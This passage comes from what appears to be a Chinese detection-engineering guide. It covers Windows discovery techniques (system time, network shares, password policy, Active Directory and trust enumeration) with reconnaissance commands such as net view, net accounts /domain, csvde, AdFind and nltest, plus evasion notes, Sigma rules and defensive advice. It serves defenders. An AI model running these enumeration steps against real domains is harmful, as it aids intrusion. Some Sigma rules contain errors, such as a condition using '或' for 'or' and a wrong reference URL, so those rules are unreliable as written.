/tz`、`Get-Date`、`wmic os get localdatetime`。 - **文件相关**: - 输出文件:如 `C:\Temp\remote_time.txt`(`net time > remote_time.txt`)。 - **隐藏手段**: - 重命名 `net.exe`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del remote_time.txt`)。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/思路 ### Sigma 规则 ```yaml title: Windows 系统时间发现 description: 检测通过 net time、w32tm、PowerShell 或 WMIC 执行 Windows 系统时间发现的行为 references: - https://attack.mitre.org/techniques/T1124/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1124/T1124.md tags: - attack.discovery - attack.t1124 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\net.exe' - '\w32tm.exe' - '\wmic.exe' ProcessCommandLine|contains: - 'time' - '/tz' - 'localdatetime' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-Date' - 'Get-TimeZone' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\net.exe' - '\w32tm.exe' - '\powershell.exe' - '\wmic.exe' - '\systeminfo.exe' CommandLine|contains: - 'time' - '/tz' - 'Get-Date' - 'Get-TimeZone' - 'localdatetime' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.txt' TargetFilename|contains: - 'time' - 'timezone' condition: selection_cmd or selection_powershell or selection_sysmon or selection_file timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename level: medium falsepositives: - 管理员运行 net time 或 PowerShell 进行时间同步检查 - 合法 IT 管理工具触发类似行为 ``` ### 检测思路 1. **进程监控**: - 监控 `net.exe`、`w32tm.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `time`、`/tz`、`Get-Date`、`Get-TimeZone` 或 `localdatetime` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-Date` 或 `Get-TimeZone` 的执行。 3. **文件监控**: - 检测文本文件创建(事件 ID 11),特别是文件名包含 `time` 或 `timezone` 的文件。 4. **行为分析**: - 检测短时间内高频的时间查询(5 分钟内多次触发)。 - 结合上下文,如异常用户、未知父进程或非常规时间段。 - 监控异常 WMI 查询或时间同步请求。 ## 建议 1. **防御措施**: - 限制普通用户对 `net.exe` 和 `w32tm.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(如 `Get-Date`)。 - 部署 EDR 工具,监控异常时间查询行为。 - 配置时间同步策略,确保域内时间一致,减少 `net time` 使用。 2. **检测优化**: - 监控短时间内高频的时间查询(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测输出文件创建(如 `remote_time.txt`、`timezone.txt`)。 - 监控异常 WMI 查询(如 `localdatetime`)或时间同步请求。 3. **降低误报**: - 排除管理员用于时间同步的合法 `net time` 或 PowerShell 操作。 - 配置白名单,过滤已知 IT 管理工具。 - 验证文件内容,确保与系统时间发现相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如自定义脚本)或直接调用 Windows API,建议监控未知可执行文件的运行。 - 检测异常时间同步行为或高频时间查询。 ## 参考推荐 - MITRE ATT&CK: T1124 - Atomic Red Team - T1124 测试用例 ================================================ FILE: Windows/09发现/T1135-win-网络共享发现.md ================================================ # T1135-Win-网络共享发现 ## 描述 攻击者通过网络共享发现(T1135)枚举 Windows 环境中的网络共享驱动器和文件夹,以识别可访问的文件存储位置,获取敏感信息(如配置文件、凭据、财务数据)或寻找横向移动的目标。Windows 系统中,网络共享通过 SMB 协议实现,攻击者可能使用 `net view` 查询远程主机共享资源,`net share` 查看本地共享,或通过 PowerShell(如 `Get-SmbShare`)、WMIC(`wmic share`)等工具枚举共享信息。这些信息可用于后续攻击,如数据窃取(T1080)、权限提升(T1078)或通过共享执行恶意软件。在云环境中(如 AWS、GCP、Azure),攻击者可能访问云配置的 SMB 或 NFS 共享。本文档聚焦于 Windows 平台的网络共享发现检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限(大多数命令无需管理员权限) - 工具:CMD、PowerShell、WMIC - 环境:域环境(如 OWA2010SP3.0day.org) ### 测试案例 1:使用 `net view` 查询远程共享 **关联技术**:T1135(远程共享枚举) ```dos net view \\DC01 ``` **输出示例**: ``` 在 \\OWA2010SP3.0day.org 的共享资源 共享名 类型 使用为 注释 ------------------------------------------------------------------------------- Address Disk "Access to address objects" CertEnroll Disk Active Directory 证书服务共享 ExchangeOAB Disk OAB Distribution share GroupMetrics Disk 邮件提示组度量标准发布点 NETLOGON Disk Logon server share SYSVOL Disk Logon server share 命令成功完成。 ``` **说明**: - 查询远程主机(如域控制器)的共享资源。 - 普通用户权限,需网络访问权限。 - 关联 T1135:识别远程共享驱动器。 ### 测试案例 2:使用 `net view` 查询域内所有主机 **关联技术**:T1135(域主机枚举) ```dos net view /domain ``` **输出示例**: ``` 域 OWA2010SP3.0day.org 的服务器列表: 服务器名 备注 ------------------- ---------------- \\DC01 Domain Controller \\FILESRV01 File Server \\WORKSTATION01 命令成功完成。 ``` **说明**: - 列出域内所有主机,结合 `net view \\` 可进一步枚举共享。 - 普通用户权限,需域环境。 - 关联 T1135:发现潜在共享主机。 ### 测试案例 3:使用 `net share` 查询本地共享 **关联技术**:T1135(本地共享枚举) ```dos net share ``` **输出示例**: ``` 共享名 资源 备注 ---------- ---------------------------- ---------------- C$ C:\ 默认共享 IPC$ 远程 IPC ADMIN$ C:\Windows 远程管理 Public C:\Users\Public 命令成功完成。 ``` **说明**: - 列出本地系统的共享资源。 - 普通用户权限(查看功能)。 - 关联 T1135:识别本地共享。 ### 测试案例 4:使用 PowerShell `Get-SmbShare` **关联技术**:T1135(共享枚举) ```powershell Get-SmbShare ``` **输出示例**: ``` Name ScopeName Path Description ---- --------- ---- ----------- C$ * C:\ 默认共享 IPC$ * 远程 IPC ADMIN$ * C:\Windows 远程管理 Public * C:\Users\Public ``` **说明**: - 枚举本地或远程 SMB 共享。 - 普通用户权限(本地查看)。 - 关联 T1135:获取共享详细信息。 ### 测试案例 5:使用 WMIC **关联技术**:T1135(共享枚举) ```dos wmic share get Name,Path,Description ``` **输出示例**: ``` Description Name Path 默认共享 C$ C:\ 远程 IPC IPC$ 远程管理 ADMIN$ C:\Windows Public C:\Users\Public ``` **说明**: - 枚举本地共享的名称、路径和描述。 - 普通用户权限。 - 关联 T1135:收集共享信息。 **注意**: - 上述命令通常无需管理员权限。 - 输出结果可能因系统配置(如共享设置、域环境)而异。 - 攻击者可能将输出重定向到文件(如 `net view > shares.txt`)。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限,CMD 或 PowerShell - 工具:CMD、PowerShell、WMIC - 环境:域环境(如 QAX.COM) ### 复现步骤 1. **使用 `net view` 查询远程共享**: ```dos net view \\DC01 > C:\Temp\remote_shares.txt ``` **预期输出**: - 生成 `C:\Temp\remote_shares.txt`,包含远程共享列表。 - 安全日志事件 ID 4688 记录 `net.exe` 执行,5156 记录 SMB 连接。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建,事件 ID 3 记录网络连接。 2. **使用 `net share` 查询本地共享**: ```dos net share > C:\Temp\local_shares.txt ``` **预期输出**: - 生成 `C:\Temp\local_shares.txt`,包含本地共享列表。 - 安全日志事件 ID 4688 记录 `net.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 3. **使用 PowerShell `Get-SmbShare`**: ```powershell Get-SmbShare | Out-File C:\Temp\smb_shares.txt ``` **预期输出**: - 生成 `C:\Temp\smb_shares.txt`,包含 SMB 共享列表。 - PowerShell 日志事件 ID 4104 记录 `Get-SmbShare` 执行。 - Sysmon 事件 ID 1 记录 `powershell.exe` 执行,事件 ID 11 记录文件创建。 ### 验证 - 检查输出文件内容,确认是否包含共享资源信息。 - **验证日志**: - 安全日志:事件 ID 4688(进程创建)、5156(网络连接)。 - Sysmon 日志:事件 ID 1(进程创建)、11(文件创建)、3(网络连接)。 - PowerShell 日志:事件 ID 4103/4104(脚本执行)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `net.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - 事件 ID 5156:Windows 筛选平台允许连接,记录 SMB 连接(端口 445)。 - 事件 ID 5158:Windows 筛选平台允许绑定本地端口,用于记录 SMB 相关端口。 - **Sysmon 日志: - 事件 1:进程创建,记录命令行参数(如 `net view`、`Get-SmbShare`)。 - 事件 11:文件创建,记录输出文件(如 `shares.txt`)。 - 事件 ID 3:网络连接,记录 SMB 连接(端口 445)。 - **PowerShell 日志**: - 事件 4103/4104:记录 PowerShell 脚本执行,如 `Get-SmbShare`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 启用 `Audit Network Connections` (安全日志,事件 ID 5156、5158)。 - 部署 Sysmon,配置进程创建(事件 ID 1)、文件创建(事件 ID 11)以及网络连接(事件 ID 3)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 需启用命令行审计以记录进程命令行参数。 - 日志输出可能因系统配置(如审计策略)而异。 ## 测试留痕 - **进程相关**: - 进程创建:`net.exe`、`powershell.exe`、`wmic.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `net view`、`net share`、`Get-SmbShare`、`wmic share`。 - **文件相关**: - 输出文件:如 `C:\Temp\remote_shares.txt` (`net view > shares.txt`)。 - **网络相关**: - SMB 连接:目标端口 445,协议 TCP。 - 源/目标 IP:发起查询主机和目标主机的 IP 地址。 - **隐藏手段**: - 重命名 `net.exe`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(例如 `Invoke-Obfuscation`)。 - 删除输出文件(如 `del remote_shares.txt`)。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/方法 ### Sigma 规则 ```yaml title: Windows 网络共享发现 description: 检测通过net view、net share、PowerShell 或 WMIC 执行的 Windows网络共享发现行为 references: - https://attack.mitre.org/techniques/T1135/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1135/T1135.md tags: - attack.discovery - attack.t1135 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\net.exe' - '\wmic.exe' ProcessCommandLine|contains: - 'view' - 'share' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-SmbShare' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\net.exe' - '\powershell.exe' - '\wmic.exe' CommandLine|contains: - 'view' - 'share' - 'Get-SmbShare' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.txt' TargetFilename|contains: - 'share' - 'smb' selection_network: EventID: 5156 # 网络连接 DestinationPort: 445 Protocol: 6 # TCP condition: selection_cmd 或 selection_powershell or selection_sysmon or selection_file or selection_network timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename - DestinationPort level: medium falsepositives: - 管理员运行 net view 或 PowerShell 进行共享管理 - 合法IT管理工具触发类似行为 ``` ### **检测方法** 1. **进程监控**: - 监控 `net.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `view`、`share` 或 `Get-SmbShare` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-SmbShare` 的执行。 3. **文件监控**: - 检测文本文件创建(事件 ID 11),特别是文件名包含 `share` 或 `smb` 的文件。 4. **网络监控**: - 监控 SMB 连接(事件 ID 5156,端口 445),关注异常连接模式。 5. **行为分析**: - 检测短时间内高频的共享查询(5 分钟内多次触发)。 - 结合上下文,如异常用户、未知父进程或非常规时间段。 - 在云环境中,监控对共享存储的异常 API 调用。 ## 建议 1. **防御措施**: - 限制普通用户对 `net.exe` 和 `wmic.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(如 `Get-SmbShare`)。 - 部署 EDR 工具,监控异常共享枚举行为。 - 配置 SMB 访问控制,限制非授权用户访问共享。 - 禁用不必要的默认共享(如 C$、ADMIN$)。 2. **检测优化**: - 监控短时间内高频的共享查询(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测输出文件创建(如 `remote_shares.txt`、`smb_shares.txt`)。 - 监控 SMB 流量(端口 445),关注异常连接模式。 - 在云环境中,监控对 EFS、Azure 文件共享或 GCP 文件存储的异常访问。 3. **降低误报**: - 排除管理员用于共享管理的合法 `net view` 或 PowerShell 操作。 - 配置白名单,过滤已知 IT 管理工具。 - 验证文件内容,确保与网络共享发现相关。 4. **其他工具**: - 攻击者可能使用第三方工具(如 `ShareEnum`)或直接调用 Windows API,建议监控未知可执行文件的运行。 - 检测异常 WMI 查询(如 `wmic share`)或 SMB 协议流量。 - 在云环境中,使用云日志(如 AWS CloudTrail)监控文件共享访问。 ## 参考推荐 - MITRE ATT&CK: T1135 - Atomic Red Team - T1135 测试用例 ``` ================================================ FILE: Windows/09发现/T1201-win-密码策略发现.md ================================================ # T1201-Win-密码策略发现 ## 描述 攻击者通过密码策略发现(T1201)收集 Windows 系统中本地或域密码策略的详细信息,以优化暴力破解(T1110)或字典攻击策略。密码策略包括密码长度、复杂性要求、历史记录、锁定阈值和有效期等,攻击者利用这些信息构建符合策略的密码列表,规避账户锁定,或识别弱策略以提升权限(T1078)。在 Windows 环境中,攻击者可能使用 `net accounts` 查询本地密码策略,`net accounts /domain` 查询域策略,或通过 PowerShell(如 `Get-ADDefaultDomainPasswordPolicy`)、`secedit` 或 WMIC 获取详细信息。本文档聚焦于 Windows 平台的密码策略发现检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限(本地策略查询),域用户权限(域策略查询)。 - 工具:CMD、PowerShell、WMIC - 环境:域环境(如 QAX.COM)或独立主机 ### 测试案例 1:使用 `net accounts` 查询本地密码策略 **关联技术**:T1201(本地密码策略枚举) ```dos net accounts ``` **输出示例**: ``` 强制用户在时间到期之后多久必须注销?: 从不 密码最短使用期限(天): 0 密码最长使用期限(天): 42 密码长度最小值: 0 保持的密码历史记录长度: None 锁定阈值: 从不 锁定持续时间(分): 30 锁定观测窗口(分): 30 计算机角色: WORKSTATION 命令成功完成。 ``` **说明**: - 查询本地系统的密码策略。 - 普通用户权限。 - 关联 T1201:获取本地密码要求。 ### 测试用例 2:使用 `net accounts /domain` 查询域密码策略 **关联技术**:T1201(域密码策略枚举) ```dos net accounts /domain ``` **输出示例**: ``` 强制用户在时间到期之后多久必须注销?:从不 密码最短使用期限(天):0 密码最长使用期限(天):90 密码最小长度:8 保持的密码历史记录长度:12 锁定阈值:6 锁定持续时间(分钟):15 锁定观测窗口(分钟):15 计算机角色:DOMAIN 命令成功完成。 ``` **说明**: - 查询域环境的密码策略。 - 域用户权限,需域环境。 - 关联 T1201:获取域密码要求。 ### 测试用例 3:使用 PowerShell `Get-LocalUser` 查询本地账户策略 **关联技术**:T1201(本地账户策略枚举) ```powershell Get-LocalUser | Select-Object Name,PasswordRequired,PasswordExpires ``` **输出示例**: ``` Name PasswordRequired PasswordExpires ---- ---------------- --------------- Administrator True DefaultAccount False Guest False heihei False WDAGUtilityAccount True 2025/7/2 14:34:55 ``` **说明**: - 查询本地账户的密码要求和到期状态。 - 普通用户权限(某些信息可能需要管理员权限)。 - 关联 T1201:分析本地账户策略。 ### 测试用例 4:使用 PowerShell `Get-ADDefaultDomainPasswordPolicy` 查询域策略 **关联技术**:T1201(域密码策略枚举) ```powershell Get-ADDefaultDomainPasswordPolicy ``` **输出示例**: ``` ComplexityEnabled : True DistinguishedName : DC=com,DC=com LockoutDuration : 00:15:00 LockoutObservationWindow : 00:15:00 LockoutThreshold : 6 MaxPasswordAge : 90.00:00:00 MinPasswordAge : 0.00:00:00 MinPasswordLength : 8 PasswordHistoryCount : 12 ``` **说明**: - 查询域的密码策略详细信息。 - 需要域用户权限和 Active Directory 模块。 - 关联 T1201:获取域密码要求。 ### 测试用例 5:使用 `secedit` 导出本地密码策略 **关联技术**:T1201(本地密码策略枚举) ```dos secedit /export /cfg C:\Temp\secpol.cfg ``` **输出示例**: - 生成 `C:\Temp\secpol.cfg`,包含: ``` [Account Policies] PasswordHistorySize = 24 MaximumPasswordAge = 42 MinimumPasswordAge = 1 MinimumPasswordLength = 7 LockoutBadCount = 0 ``` **说明**: - 导出本地安全策略,包括密码策略。 - 普通用户权限(导出功能)。 - 关联 T1201:提取密码策略。 ### 测试用例 6:使用 WMIC 查询本地账户策略 **关联技术**:T1201(本地账户策略枚举) ```dos wmic useraccount get Name,PasswordRequired,PasswordExpires ``` **输出示例**: ``` Name PasswordExpires PasswordRequired Administrator FALSE TRUE DefaultAccount FALSE FALSE Guest FALSE FALSE heihei FALSE FALSE WDAGUtilityAccount TRUE TRUE ``` **说明**: - 查询本地账户的密码策略信息。 - 普通用户权限。 - 关联 T1201:收集账户策略。 **注意**: - 上述命令通常不需要管理员权限(某些 PowerShell 命令可能需要提升权限)。 - 输出结果可能因系统配置(例如策略配置、域环境)而异。 - 攻击者可能会将输出重定向到文件(例如 `net accounts > policy.txt`)。 ## 测试复现 ### 复现环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户权限(本地策略),域用户权限(域策略) - 工具:CMD、PowerShell、WMIC - 环境:域环境(如 QAX.COM)或独立主机 ### 复现步骤 1. **使用 `net accounts` 查询本地密码策略**: ```dos net accounts > C:\Temp\local_policy.txt ``` **预期输出**: - 生成 `C:\Temp\local_policy.txt`,包含本地密码策略。 - 安全日志事件 ID 4688 记录 `net.exe` 执行。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 2. **使用 `net accounts /domain` 查询域密码策略**: ```dos net accounts /domain > C:\Temp\domain_policy.txt ``` **预期输出**: - 生成 `C:\Temp\domain_policy.txt`,包含域密码策略。 - 安全日志事件 ID 4688 记录 `net.exe` 执行,事件 ID 5140 记录 `IPC$` 访问。 - Sysmon 事件 ID 1 记录进程创建,事件 ID 11 记录文件创建。 - 域控制器安全日志事件 ID 4672 记录特殊权限分配。 3. **使用 PowerShell `Get-ADDefaultDomainPasswordPolicy`**: ```powershell Get-ADDefaultDomainPasswordPolicy | Out-File C:\Temp\ad_policy.txt ``` **预期输出**: - 生成 `C:\Temp\ad_policy.txt`,包含域密码策略。 - PowerShell 日志事件 ID 4104 记录 `Get-ADDefaultDomainPasswordPolicy` 执行。 - Sysmon 事件 ID 1 记录 `powershell.exe` 执行,事件 ID 11 记录文件创建。 ### 验证 - 检查输出文件内容,确认包含密码策略信息。 - **验证日志**: - 安全日志:事件 ID 4688(进程创建)、5140(共享访问)、4672(域控制器权限)。 - Sysmon 日志:事件 ID 1(进程创建)、11(文件创建)。 - PowerShell 日志:事件 ID 4103/4104(脚本执行)。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `net.exe`、`powershell.exe`、`secedit.exe` 或 `wmic.exe` 的执行。 - 事件 ID 5140:网络共享访问,记录域控制器中的 `IPC$` 共享访问(`net accounts /domain`)。 - 事件 ID 4672:特殊权限分配,记录域控制器中的登录行为(`net accounts /domain`)。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(例如 `net accounts` 或 `Get-ADDefaultDomainPasswordPolicy`)。 - 事件 ID 11:文件创建,记录输出文件(例如 `secpol.cfg` 或 `policy.txt`)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,例如 `Get-LocalUser` 或 `Get-ADDefaultDomainPasswordPolicy`。 - **要求**: - 启用 `Audit Process Creation`(安全日志,事件 ID 4688)。 - 启用 `Audit File Share` 和 `Audit Logon`(安全日志,事件 ID 5140、4672)。 - 部署 Sysmon,配置事件 ID 1(进程创建)和 ID 11(文件创建)。 - 启用 PowerShell 的 `Script Block Logging` 和 `Module Logging`。 - **注意**: - Windows Server 2016 需要启用命令行审计以记录进程命令行参数。 - 域控制器日志(例如 4672、5140)需要启用相关审计策略。 - 日志输出可能因系统配置(如权限、策略)而异。 ## 测试留痕 - **进程相关**: - 进程创建:`net.exe`、`net1.exe`、`powershell.exe`、`secedit.exe`、`wmic.exe`。 - 父进程:例如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:例如 `net accounts`、`Get-ADDefaultDomainPasswordPolicy`、`secedit /export`、`wmic useraccount`。 - **文件相关**: - 输出文件:例如 `C:\Temp\local_policy.txt`(`net accounts > policy.txt`)、`secpol.cfg`(`secedit /export`)。 - **域相关**: - 域控制器事件:`IPC$` 共享访问(事件 ID 5140)、特殊权限分配(事件 ID 4672)。 - 网络连接:与域控制器的 SMB 通信(端口 445)。 - **隐藏手段**: - 重命名 `net.exe`(例如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(例如 `Invoke-Obfuscation`)。 - 删除输出文件(例如 `del local_policy.txt`)。 - 通过网络传输输出文件(例如 FTP、HTTP)以减少本地痕迹。 ## 检测规则/方法 ### **Sigma 规则** ```yaml title: Windows密码策略发现 description: 检测通过 net accounts、PowerShell、secedit 或 WMIC 执行的 Windows 密码策略发现行为 references: - https://attack.mitre.org/techniques/T1201/ - https://github.com/redcanaryco/wiki-red-team/blob/master/atomics/T1201/T1201.md tags: - attack.discovery - attack.t1201 status: experimental author: 0x783kb logsource: product: windows category: process_logging detection: selection_cmd: EventID: 4688 # 进程创建 NewProcessName|endswith: - '\net.exe' - '\secedit.exe' - '\wmic.exe' ProcessCommandLine|contains: - 'accounts' - '/export' - 'useraccount' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-LocalUser' - 'Get-ADDefaultDomainPasswordPolicy' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\net.exe' - '\powershell.exe' - '\secedit.exe' - '\wmic.exe' CommandLine|contains: - 'accounts' - 'Get-LocalUser' - 'Get-ADDefaultDomainPasswordPolicy' - '/export' - 'useraccount' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.txt' - '.cfg' TargetFilename|contains: - 'policy' - 'secpol' selection_domain: EventID: - 5140 # 网络共享访问权限 - 4672 # 特殊权限分配 ShareName: '\\*\IPC$' condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_domain timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetFilename - ShareName level: medium falsepositives: - 管理员运行net accounts或PowerShell进行策略检查 - 合法IT系统管理工具触发类似行为 ``` ### **检测方法** 1. **进程监控**: - 监控 `net.exe`、`powershell.exe`、`secedit.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `accounts`、`Get-LocalUser`、`Get-ADDefaultDomainPasswordPolicy`、`export` 或 `useraccount` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-LocalUser` 或 `Get-ADDefaultDomainPasswordPolicy` 的执行。 3. **文件监控**: - 检测文本文件或配置文件创建(事件 ID 11),特别是文件名包含 `policy` 或 `secpol` 的文件。 4. **域控制器监控**: - 监控 `IPC$` 共享访问(事件 ID 5140)和特殊权限分配(事件 ID 4672)。 - 检测与域控制器的异常 SMB 连接(端口 445)。 5. **行为分析**: - 检测短时间内高频的密码策略查询(5 分钟内多次触发)。 - 结合上下文分析,例如异常用户、非常规时间段或未知父进程。 ## 建议 1. **防御措施**: - 限制普通用户对 `net.exe` 和 `secedit.exe` 的执行权限。 - 启用组策略,限制 PowerShell 脚本执行(例如 `Get-ADDefaultDomainPasswordPolicy`)。 - 部署 EDR 工具,监控异常密码策略查询行为。 - 配置域控制器访问控制,限制非授权用户查询域策略。 - 加强密码策略(如增加复杂性、缩短锁定时间)。 2. **检测优化**: - 监控短时间内高频密码策略查询(5 分钟内多次触发)。 - 结合上下文分析,例如异常用户账户、非常规时间段或未知父进程。 - 检测输出文件创建(例如 `local_policy.txt` 或 `secpol.cfg`)。 - 监控域控制器中的 `IPC$` 共享访问(事件 ID 5140)和特殊权限分配(事件 ID 4672)。 3. **降低误报**: - 排除管理员用于策略检查的合法 `net accounts` 或 PowerShell 操作。 - 配置白名单,过滤已知 IT 管理工具。 - 验证文件内容,确保与密码策略发现相关。 4. **其他工具**: - 攻击者可能使用第三方工具(例如 `ADRecon`)或直接调用 Windows API,建议监控未知可执行文件的运行。 - 检测异常 WMI 查询(例如 `wmic useraccount`)或域控制器中的策略访问。 ## 参考推荐 - MITRE ATT&CK: T1201 - Atomic Red Team - T1201 测试用例 ================================================ FILE: Windows/09发现/T1482-win-活动目录信息获取检测.md ================================================ # T1482-Win-活动目录信息获取检测 ## 描述 攻击者通过域信任发现(T1482)收集 Windows 活动目录(AD)中的信息,包括域信任关系、用户、组、计算机和组织单位(OU),以识别横向移动(T1550)、权限提升(T1078)或 Kerberos 攻击(如 T1208 Kerberoasting)的机会。域信任允许受信任域的用户访问信任域的资源,攻击者可利用信任关系进行票据传递或 SID 历史记录注入。在 Windows 环境中,攻击者可能使用 `nltest` 枚举域信任,`csvde` 和 `ldifde` 导出 AD 对象,`AdFind` 查询详细 AD 信息,或通过 PowerShell(如 `Get-ADUser`、`Get-ADDomain`)获取数据。这些信息可用于构建攻击路径或识别高价值目标。本文档聚焦于 Windows 平台的活动目录信息获取检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:域用户权限(部分命令需域管理员权限) - 工具:CMD、PowerShell、AdFind - 环境:域环境(如 QAX.COM) ### 测试案例 1:使用 `csvde` 获取活动目录信息 **关联技术**:T1482(AD 对象枚举) **说明**: - 导出格式:CSV(可用 Excel 查看)。 - 适用系统:Windows Server 2003 至 2016、Windows 8/10。 - 权限:域用户(部分查询需域管理员权限)。 **命令**: ```dos :: 导出所有信息 csvde -f all.csv :: 导出用户信息 csvde -f user.csv -r "(&(objectCategory=person))" :: 导出计算机信息 csvde -f machine.csv -r "(&(objectCategory=computer))" :: 导出组信息 csvde -f group.csv -r "(&(objectCategory=group))" :: 导出管理员组信息 csvde -f admin.csv -r "(&(objectCategory=group)(name=Domain Admins))" :: 导出 OU 信息 csvde -f ou.csv -r "(&(objectCategory=organizationalUnit))" :: 导出用户名 csvde -f username.csv -r "(&(objectCategory=person))" -l SamAccountName :: 导出计算机名 csvde -f machinename.csv -r "(&(objectCategory=computer))" -l name ``` **输出示例**: ``` "objectClass","distinguishedName","sAMAccountName" "user","CN=admin,DC=qax,DC=com","admin" "computer","CN=DC01,DC=qax,DC=com","DC01$" ``` **说明**: - 枚举 AD 中的用户、计算机、组、OU 等。 - 关联 T1482:收集 AD 对象信息。 ### 测试案例 2:使用 `ldifde` 获取活动目录信息 **关联技术**:T1482(AD 对象枚举) **说明**: - 导出格式:LDIF(可用 Notepad 查看)。 - 权限:域用户(部分查询需域管理员权限)。 **命令**: ```dos :: 导出所有信息 ldifde -f all.txt :: 导出用户信息 ldifde -f user.txt -r "(&(objectCategory=person))" :: 导出计算机信息 ldifde -f machine.txt -r "(&(objectCategory=computer))" :: 导出组信息 ldifde -f group.txt -r "(&(objectCategory=group))" :: 导出管理员组信息 ldifde -f admin.txt -r "(&(objectCategory=group)(name=Domain Admins))" :: 导出 OU 信息 ldifde -f ou.txt -r "(&(objectCategory=organizationalUnit))" :: 导出用户名 ldifde -f username.txt -r "(&(objectCategory=person))" -l SamAccountName :: 导出计算机名 ldifde -f machinename.txt -r "(&(objectCategory=computer))" -l name ``` **输出示例**: ``` dn: CN=admin,DC=qax,DC=com objectClass: user sAMAccountName: admin ``` **说明**: - 类似 `csvde`,但输出为 LDIF 格式。 - 关联 T1482:获取 AD 对象详细信息。 ### 测试案例 3:使用 `AdFind` 获取活动目录信息 **关联技术**:T1482(AD 对象枚举) **说明**: - 第三方工具,需下载()。 - 权限:域用户(部分查询需域管理员权限)。 **命令**: ```dos :: 导出所有信息 AdFind.exe -h 127.0.0.1 > all.txt :: 导出用户信息 AdFind.exe -h 127.0.0.1 -f "objectcategory=person" > user.txt :: 导出计算机信息 AdFind.exe -h 127.0.0.1 -f "objectcategory=computer" > machine.txt :: 导出组信息 AdFind.exe -h 127.0.0.1 -f "objectcategory=group" > group.txt :: 导出管理员组信息 AdFind.exe -h 127.0.0.1 -f "(&(objectCategory=group)(name=Domain Admins))" > admin.txt :: 导出 OU 信息 AdFind.exe -h 127.0.0.1 -f "objectcategory=organizationalUnit" > ou.txt :: 导出用户名 AdFind.exe -h 127.0.0.1 -f "objectcategory=person" SamAccountName > username.txt :: 导出计算机名 AdFind.exe -h 127.0.0.1 -f "objectcategory=computer" name > machinename.txt ``` **输出示例**: ``` >objectClass: user >distinguishedName: CN=admin,DC=qax,DC=com >sAMAccountName: admin ``` **说明**: - 功能强大,输出详细 AD 属性。 - 关联 T1482:枚举 AD 对象。 ### 测试案例 4:使用 `nltest` 获取域信任信息 **关联技术**:T1482(域信任枚举) **说明**: - 内置工具,查询域信任关系。 - 权限:域用户。 **命令**: ```dos :: 列出域信任关系 nltest /domain_trusts ``` **输出示例**: ``` 域信任列表: 0: QAX qax.com (NT 5) (Forest Tree Root) (Primary Domain) (Native) 命令成功完成。 ``` **说明**: - 枚举域信任关系。 - 关联 T1482:识别横向移动机会。 ### 测试案例 5:使用 PowerShell 获取活动目录信息 **关联技术**:T1482(AD 对象枚举) **说明**: - 使用 Active Directory 模块。 - 权限:域用户(部分命令需域管理员权限)。 **命令**: ```powershell 